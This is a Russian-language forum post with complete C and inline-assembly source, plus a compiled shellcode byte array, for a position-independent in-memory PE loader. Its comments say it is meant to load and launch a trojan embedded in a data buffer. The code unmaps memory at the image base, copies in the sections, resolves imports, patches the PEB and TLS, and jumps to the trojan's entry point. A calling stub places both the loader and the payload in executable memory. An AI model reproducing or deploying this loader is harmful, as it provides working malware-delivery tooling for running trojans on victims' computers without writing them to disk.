При написании использовалась статья http://wasm.ru/article.php?article=memfile и сорц загрузчика покойного Great. Загрузчик Грейта располагает PE-образ в рандомном месте памяти и правит релоки. Редко какие проги работают после такого.
Поэтому был написан следующий код, который располагает PE-образ по нужному ImageBase, правит импорт, PEB, TLS, и передаёт управление на точку входа. Функция загрузчика специально сделана базонезависимой, чтобы её расположить подальше в памяти и передать туда управление, чтобы можно было спокойно работать с адресами возле стандартных ImageBase.
1) Высиратель кода функции лоадера высирает код функции в файл loader.bin:
2) > ArrGenTool.exe loader.bin loader.h Loader
создаёт loader.h :
3) Вызов функции
Поэтому был написан следующий код, который располагает PE-образ по нужному ImageBase, правит импорт, PEB, TLS, и передаёт управление на точку входа. Функция загрузчика специально сделана базонезависимой, чтобы её расположить подальше в памяти и передать туда управление, чтобы можно было спокойно работать с адресами возле стандартных ImageBase.
1) Высиратель кода функции лоадера высирает код функции в файл loader.bin:
Код:
// PELoader.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <winnt.h>
#include <stdio.h>
///////////////////////////////////
#define k_LoadLibrary (*(HMODULE(WINAPI *)(LPSTR)) ptrLoadLibrary)
#define k_GetProcAddress (*(DWORD(WINAPI *)(HMODULE,LPSTR)) ptrGetProcAddress)
#define k_UnmapViewOfFile (*(DWORD(WINAPI *)( PVOID )) ptrUnmapViewOfFile)
#define k_VirtualFree (*(DWORD(WINAPI *)( PVOID, int, int )) ptrVirtualFree)
#define k_VirtualAlloc (*(DWORD(WINAPI *)( PVOID, int, int, int )) ptrVirtualAlloc)
#define k_memset (*(VOID(WINAPI *)( void *, int, size_t )) ptrMemset)
#define k_memcpy (*(VOID*(WINAPI *)( void *, const void *, size_t )) ptrMemcpy)
#define RVATOVA( offset ) ( ( ( DWORD ) ( buf_IMAGE_OPTIONAL_HEADER -> ImageBase ) + ( DWORD ) ( offset ) ) )
typedef struct _PEB {
DWORD smth[2];
PVOID ImageBaseAddress;
} PEB, *PPEB;
typedef struct _TEB {
DWORD smth[12];
PPEB Peb;
} TEB, *PTEB;
/////////////////////////////////////////////////////////////////////////////////////
// Функция загрузки троя
void loader( PBYTE buf, int bufLen, DWORD ptrUnmapViewOfFile, DWORD ptrVirtualFree, DWORD ptrVirtualAlloc, DWORD ptrLoadLibrary, DWORD ptrGetProcAddress, DWORD ptrMemset, DWORD ptrMemcpy )
{
/////////////////////////////////////////////////////////////////////////////////////
// Получаем PE-заголовок троя
IMAGE_NT_HEADERS *buf_IMAGE_NT_HEADERS = ( IMAGE_NT_HEADERS * ) ( buf + (( IMAGE_DOS_HEADER * ) buf ) -> e_lfanew );
PIMAGE_FILE_HEADER buf_IMAGE_FILE_HEADER = ( PIMAGE_FILE_HEADER ) ( ( PBYTE ) buf_IMAGE_NT_HEADERS + sizeof( IMAGE_NT_SIGNATURE ) );
PIMAGE_OPTIONAL_HEADER buf_IMAGE_OPTIONAL_HEADER = ( PIMAGE_OPTIONAL_HEADER ) ( ( PBYTE ) buf_IMAGE_FILE_HEADER + sizeof( IMAGE_FILE_HEADER ) );
PIMAGE_SECTION_HEADER buf_IMAGE_SECTION_HEADER = ( PIMAGE_SECTION_HEADER ) ( ( PBYTE ) buf_IMAGE_OPTIONAL_HEADER + sizeof( IMAGE_OPTIONAL_HEADER ) );
/////////////////////////////////////////////////////////////////////////////////////
// Разрешаем запись в память по адресу ImageBase
DWORD pageSize = 0x00010000; // размер страницы 64Кб
for ( DWORD pageAddr = 0; pageAddr < buf_IMAGE_OPTIONAL_HEADER -> SizeOfImage; pageAddr = pageAddr + pageSize )
{
k_UnmapViewOfFile( ( LPVOID ) RVATOVA( pageAddr ) );
k_VirtualFree( ( LPVOID ) RVATOVA( pageAddr ), 0, MEM_RELEASE );
k_VirtualAlloc( ( LPVOID ) RVATOVA( pageAddr ), pageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
k_memset( ( LPVOID ) RVATOVA( pageAddr ), 0, pageSize );
}
/////////////////////////////////////////////////////////////////////////////////////
// Размещаем PE-заголовок троя
k_memcpy( (PVOID) buf_IMAGE_OPTIONAL_HEADER -> ImageBase, buf, buf_IMAGE_OPTIONAL_HEADER -> SizeOfHeaders );
/////////////////////////////////////////////////////////////////////////////////////
// Размещаем секции троя
for ( DWORD k = 0; k < buf_IMAGE_FILE_HEADER -> NumberOfSections; k++, buf_IMAGE_SECTION_HEADER++ )
k_memcpy( (PVOID) RVATOVA( buf_IMAGE_SECTION_HEADER -> VirtualAddress ),
buf + buf_IMAGE_SECTION_HEADER -> PointerToRawData,
min ( buf_IMAGE_SECTION_HEADER -> Misc.VirtualSize, buf_IMAGE_SECTION_HEADER -> SizeOfRawData ) );
/////////////////////////////////////////////////////////////////////////////////////
// Освобождаем буфер троя
k_VirtualFree( buf, bufLen, MEM_RELEASE );
/////////////////////////////////////////////////////////////////////////////////////
// Правим импорт
IMAGE_IMPORT_DESCRIPTOR *importDesc = ( PIMAGE_IMPORT_DESCRIPTOR ) RVATOVA( buf_IMAGE_OPTIONAL_HEADER -> DataDirectory[1].VirtualAddress );
for(; importDesc->Characteristics; importDesc++ )
{
HMODULE hDll = k_LoadLibrary( ( LPTSTR ) RVATOVA( importDesc->Name ) );
DWORD RvaOfThunks = importDesc->FirstThunk;
if( importDesc->TimeDateStamp == -1 )
{
PDWORD Func;
PIMAGE_THUNK_DATA OriginalThunk = ( PIMAGE_THUNK_DATA ) RVATOVA( importDesc->OriginalFirstThunk );
PIMAGE_THUNK_DATA Thunk = ( PIMAGE_THUNK_DATA ) RVATOVA( importDesc->FirstThunk );
if( OriginalThunk->u1.Ordinal & 0xf0000000 )
{
OriginalThunk->u1.Ordinal &= 0xffff;
Func = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) OriginalThunk->u1.Ordinal );
}
else
{
PIMAGE_IMPORT_BY_NAME Name = ( PIMAGE_IMPORT_BY_NAME ) RVATOVA( OriginalThunk->u1.AddressOfData );
Func = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Name->Name );
}
if( Thunk->u1.Function == Func )
{
continue;
}
else
{
RvaOfThunks = importDesc -> OriginalFirstThunk;
}
}
for( PIMAGE_THUNK_DATA Thunk = ( PIMAGE_THUNK_DATA ) RVATOVA( RvaOfThunks ); Thunk->u1.Ordinal; Thunk++ )
{
if( Thunk->u1.Ordinal & 0xf0000000 )
{
Thunk->u1.Ordinal &= 0xffff;
Thunk->u1.Function = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Thunk -> u1.Ordinal );
}
else
{
PIMAGE_IMPORT_BY_NAME Name = ( PIMAGE_IMPORT_BY_NAME ) RVATOVA( Thunk->u1.AddressOfData );
Thunk->u1.Function = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Name->Name );
}
PIMAGE_THUNK_DATA ThunkToWrite;
ThunkToWrite = ( PIMAGE_THUNK_DATA )( ( DWORD ) RVATOVA( importDesc->FirstThunk ) + ( ( DWORD ) Thunk - ( DWORD ) RVATOVA ( RvaOfThunks ) ) );
ThunkToWrite->u1.Function = Thunk->u1.Function;
}
}
/////////////////////////////////////////////////////////////////////////////////////
// Правим PEB для работы с ресурсами
TEB* teb;
__asm
{
mov eax, dword ptr fs:[18h]
mov teb, eax
}
PPEB peb = teb->Peb;
peb->ImageBaseAddress = (PVOID) buf_IMAGE_OPTIONAL_HEADER -> ImageBase;
/////////////////////////////////////////////////////////////////////////////////////
// TLS
DWORD addrTLS = RVATOVA( buf_IMAGE_OPTIONAL_HEADER -> DataDirectory[9].VirtualAddress );
_asm
{
mov eax, addrTLS
mov dword ptr fs:[2Ch], eax
}
/////////////////////////////////////////////////////////////////////////////////////
// Прыгаем на точку входа троя
DWORD EntryPoint = RVATOVA( buf_IMAGE_OPTIONAL_HEADER->AddressOfEntryPoint );
_asm jmp EntryPoint
}
void marker_loader( )
{
}
int main(int argc, char* argv[])
{
DWORD loaderLength =( DWORD ) ( (BYTE*) marker_loader - (BYTE*) loader );
FILE *f = fopen( "loader.bin", "wb" );
fwrite( loader, loaderLength, 1, f );
fclose( f );
return 0;
}
2) > ArrGenTool.exe loader.bin loader.h Loader
создаёт loader.h :
Код:
unsigned char Loader[] = {
0x55,0x8B,0xEC,0x83,0xEC,0x58,0x53,0x56,0x57,0x8B,0x45,0x08,0x8B,0x4D,0x08,0x03,0x48,0x3C,0x89,0x4D,
0xFC,0x8B,0x55,0xFC,0x83,0xC2,0x04,0x89,0x55,0xE8,0x8B,0x45,0xE8,0x83,0xC0,0x14,0x89,0x45,0xD0,0x8B,
0x4D,0xD0,0x81,0xC1,0xE0,0x00,0x00,0x00,0x89,0x4D,0xDC,0xC7,0x45,0xE0,0x00,0x00,0x01,0x00,0xC7,0x45,
0xF4,0x00,0x00,0x00,0x00,0xEB,0x09,0x8B,0x55,0xF4,0x03,0x55,0xE0,0x89,0x55,0xF4,0x8B,0x45,0xD0,0x8B,
0x4D,0xF4,0x3B,0x48,0x38,0x73,0x4E,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x03,0x45,0xF4,0x50,0xFF,0x55,0x10,
0x68,0x00,0x80,0x00,0x00,0x6A,0x00,0x8B,0x4D,0xD0,0x8B,0x51,0x1C,0x03,0x55,0xF4,0x52,0xFF,0x55,0x14,
0x6A,0x40,0x68,0x00,0x30,0x00,0x00,0x8B,0x45,0xE0,0x50,0x8B,0x4D,0xD0,0x8B,0x51,0x1C,0x03,0x55,0xF4,
0x52,0xFF,0x55,0x18,0x8B,0x45,0xE0,0x50,0x6A,0x00,0x8B,0x4D,0xD0,0x8B,0x51,0x1C,0x03,0x55,0xF4,0x52,
0xFF,0x55,0x24,0xEB,0x9E,0x8B,0x45,0xD0,0x8B,0x48,0x3C,0x51,0x8B,0x55,0x08,0x52,0x8B,0x45,0xD0,0x8B,
0x48,0x1C,0x51,0xFF,0x55,0x28,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xEB,0x12,0x8B,0x55,0xD4,0x83,0xC2,
0x01,0x89,0x55,0xD4,0x8B,0x45,0xDC,0x83,0xC0,0x28,0x89,0x45,0xDC,0x8B,0x4D,0xE8,0x33,0xD2,0x66,0x8B,
0x51,0x02,0x39,0x55,0xD4,0x73,0x42,0x8B,0x45,0xDC,0x8B,0x4D,0xDC,0x8B,0x50,0x08,0x3B,0x51,0x10,0x73,
0x0B,0x8B,0x45,0xDC,0x8B,0x48,0x08,0x89,0x4D,0xA8,0xEB,0x09,0x8B,0x55,0xDC,0x8B,0x42,0x10,0x89,0x45,
0xA8,0x8B,0x4D,0xA8,0x51,0x8B,0x55,0xDC,0x8B,0x45,0x08,0x03,0x42,0x14,0x50,0x8B,0x4D,0xD0,0x8B,0x51,
0x1C,0x8B,0x45,0xDC,0x03,0x50,0x0C,0x52,0xFF,0x55,0x28,0xEB,0x9E,0x68,0x00,0x80,0x00,0x00,0x8B,0x4D,
0x0C,0x51,0x8B,0x55,0x08,0x52,0xFF,0x55,0x14,0x8B,0x45,0xD0,0x8B,0x48,0x1C,0x8B,0x55,0xD0,0x03,0x4A,
0x68,0x89,0x4D,0xF8,0xEB,0x09,0x8B,0x45,0xF8,0x83,0xC0,0x14,0x89,0x45,0xF8,0x8B,0x4D,0xF8,0x83,0x39,
0x00,0x0F,0x84,0x55,0x01,0x00,0x00,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xF8,0x03,0x41,0x0C,0x50,
0xFF,0x55,0x1C,0x89,0x45,0xC8,0x8B,0x55,0xF8,0x8B,0x42,0x10,0x89,0x45,0xC4,0x8B,0x4D,0xF8,0x83,0x79,
0x04,0xFF,0x0F,0x85,0x83,0x00,0x00,0x00,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xF8,0x03,0x01,0x89,
0x45,0xBC,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xF8,0x03,0x41,0x10,0x89,0x45,0xC0,0x8B,0x55,0xBC,
0x8B,0x02,0x25,0x00,0x00,0x00,0xF0,0x85,0xC0,0x74,0x22,0x8B,0x4D,0xBC,0x8B,0x11,0x81,0xE2,0xFF,0xFF,
0x00,0x00,0x8B,0x45,0xBC,0x89,0x10,0x8B,0x4D,0xBC,0x8B,0x11,0x52,0x8B,0x45,0xC8,0x50,0xFF,0x55,0x20,
0x89,0x45,0xB8,0xEB,0x1F,0x8B,0x4D,0xD0,0x8B,0x51,0x1C,0x8B,0x45,0xBC,0x03,0x10,0x89,0x55,0xB4,0x8B,
0x4D,0xB4,0x83,0xC1,0x02,0x51,0x8B,0x55,0xC8,0x52,0xFF,0x55,0x20,0x89,0x45,0xB8,0x8B,0x45,0xC0,0x8B,
0x08,0x3B,0x4D,0xB8,0x75,0x05,0xE9,0x47,0xFF,0xFF,0xFF,0x8B,0x55,0xF8,0x8B,0x02,0x89,0x45,0xC4,0x8B,
0x4D,0xD0,0x8B,0x51,0x1C,0x03,0x55,0xC4,0x89,0x55,0xCC,0xEB,0x09,0x8B,0x45,0xCC,0x83,0xC0,0x04,0x89,
0x45,0xCC,0x8B,0x4D,0xCC,0x83,0x39,0x00,0x0F,0x84,0x81,0x00,0x00,0x00,0x8B,0x55,0xCC,0x8B,0x02,0x25,
0x00,0x00,0x00,0xF0,0x85,0xC0,0x74,0x24,0x8B,0x4D,0xCC,0x8B,0x11,0x81,0xE2,0xFF,0xFF,0x00,0x00,0x8B,
0x45,0xCC,0x89,0x10,0x8B,0x4D,0xCC,0x8B,0x11,0x52,0x8B,0x45,0xC8,0x50,0xFF,0x55,0x20,0x8B,0x4D,0xCC,
0x89,0x01,0xEB,0x21,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xCC,0x03,0x01,0x89,0x45,0xAC,0x8B,0x55,
0xAC,0x83,0xC2,0x02,0x52,0x8B,0x45,0xC8,0x50,0xFF,0x55,0x20,0x8B,0x4D,0xCC,0x89,0x01,0x8B,0x55,0xD0,
0x8B,0x42,0x1C,0x8B,0x4D,0xF8,0x03,0x41,0x10,0x8B,0x55,0xD0,0x8B,0x4A,0x1C,0x03,0x4D,0xC4,0x8B,0x55,
0xCC,0x2B,0xD1,0x03,0xC2,0x89,0x45,0xB0,0x8B,0x45,0xB0,0x8B,0x4D,0xCC,0x8B,0x11,0x89,0x10,0xE9,0x6A,
0xFF,0xFF,0xFF,0xE9,0x96,0xFE,0xFF,0xFF,0x64,0xA1,0x18,0x00,0x00,0x00,0x89,0x45,0xE4,0x8B,0x45,0xE4,
0x8B,0x48,0x30,0x89,0x4D,0xEC,0x8B,0x55,0xEC,0x8B,0x45,0xD0,0x8B,0x48,0x1C,0x89,0x4A,0x08,0x8B,0x55,
0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xD0,0x03,0x81,0xA8,0x00,0x00,0x00,0x89,0x45,0xD8,0x8B,0x45,0xD8,0x64,
0xA3,0x2C,0x00,0x00,0x00,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xD0,0x03,0x41,0x10,0x89,0x45,0xF0,
0xFF,0x65,0xF0 };
3) Вызов функции
Код:
#include "pe_data.h"
#include "loader.h"
...
void main()
{
... получаем адреса API
/////////////////////////////////////////////////////////////////////////////////////
// Перемещаем подальше код загрузчика
DWORD loaderLength = sizeof( Loader );
DWORD loaderCopy = k_VirtualAlloc( NULL, loaderLength, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE );
memcpy( (void *) loaderCopy, Loader, loaderLength );
/////////////////////////////////////////////////////////////////////////////////////
// Перемещаем подальше буфер с троем
DWORD szPEData = sizeof( PEData );
PBYTE PEDataCopy = (PBYTE) k_VirtualAlloc( NULL, szPEData, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE );
memcpy( PEDataCopy, PEData, szPEData );
/////////////////////////////////////////////////////////////////////////////////////
// Передаём управление копии загрузчика
( (void(*)( PBYTE, int, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD )) loaderCopy )( PEDataCopy, szPEData, ptrUnmapViewOfFile, ptrVirtualFree, ptrVirtualAlloc, ptrLoadLibrary, ptrGetProcAddress, ptrMemset, ptrMemcpy );
}